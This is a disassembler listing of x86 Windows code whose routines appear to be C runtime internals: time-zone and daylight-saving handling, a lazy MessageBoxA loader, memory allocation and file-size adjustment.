		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 28A07A4h
		nop
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25E0CBFh
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB590, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB590

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4D8, ebp
		mov	dword_43CD80, ebx
		mov	dword_43CD70, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4E0
		nop
		call	near ptr 2860000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4E0
		mov	ecx, dword_4DB534
		imul	eax, 3Ch
		cmp	word_4DB526, bp
		push	1
		pop	edx
		mov	dword_43CCD8, eax
		mov	dword_4DB4D8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCD8, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB57A, bp
		jz	short loc_424887
		mov	eax, dword_4DB588
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCDC, edx
		imul	eax, 3Ch
		mov	dword_43CCE0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCDC, ebp
		mov	dword_43CCE0, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD64
		push	ebx
		push	offset dword_4DB4E4
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD64
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD64
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD68
		push	ebx
		push	offset dword_4DB538
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD68
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB58C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB58C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB58C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD64
		call	sub_41B5F0
		mov	eax, off_43CD64
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCD8, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCD8, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCDC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD68
		call	sub_41B5F0
		mov	eax, off_43CD68
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD68
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCDC, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD70
		jnz	short loc_424A7C
		cmp	eax, dword_43CD80
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4D8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB586
		push	ecx
		cmp	word_4DB578, di
		movzx	ecx, word_4DB584
		push	ecx
		movzx	ecx, word_4DB582
		push	ecx
		movzx	ecx, word_4DB580
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB57C
		push	edi
		push	ecx
		movzx	ecx, word_4DB57E
		push	ecx
		movzx	ecx, word_4DB57A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB57E
		push	ecx
		push	edi
		movzx	ecx, word_4DB57A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB532
		add	esp, 2Ch
		cmp	word_4DB524, di
		push	eax
		movzx	eax, word_4DB530
		push	eax
		movzx	eax, word_4DB52E
		push	eax
		movzx	eax, word_4DB52C
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB528
		push	edi
		push	eax
		movzx	eax, word_4DB52A
		push	eax
		movzx	eax, word_4DB526
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB52A
		push	eax
		push	edi
		movzx	eax, word_4DB526
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD74
		mov	eax, dword_43CD84
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD78
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD88
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD88[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CDBC[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD8C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CDC0[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD88[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CDBC[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD74, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD70, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD78, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD84, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCE0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD88, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD88, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD88, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD84, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD80, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC821[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C332[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB594, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690C4Ch
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB594, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB598, eax
		call	esi
		mov	dword_4DB59C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB598
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB59C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB594


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC940
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C324
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC944
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB32C, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5E0, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB5C8
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB5C8
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC700
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB2AC, 5
		jnz	short loc_424FDC
		mov	dword_4DB2A8, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25E0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB2A8, 0Dh
		call	near ptr 2670E77h
		nop
		mov	dword_4DB2AC, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB2A8, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
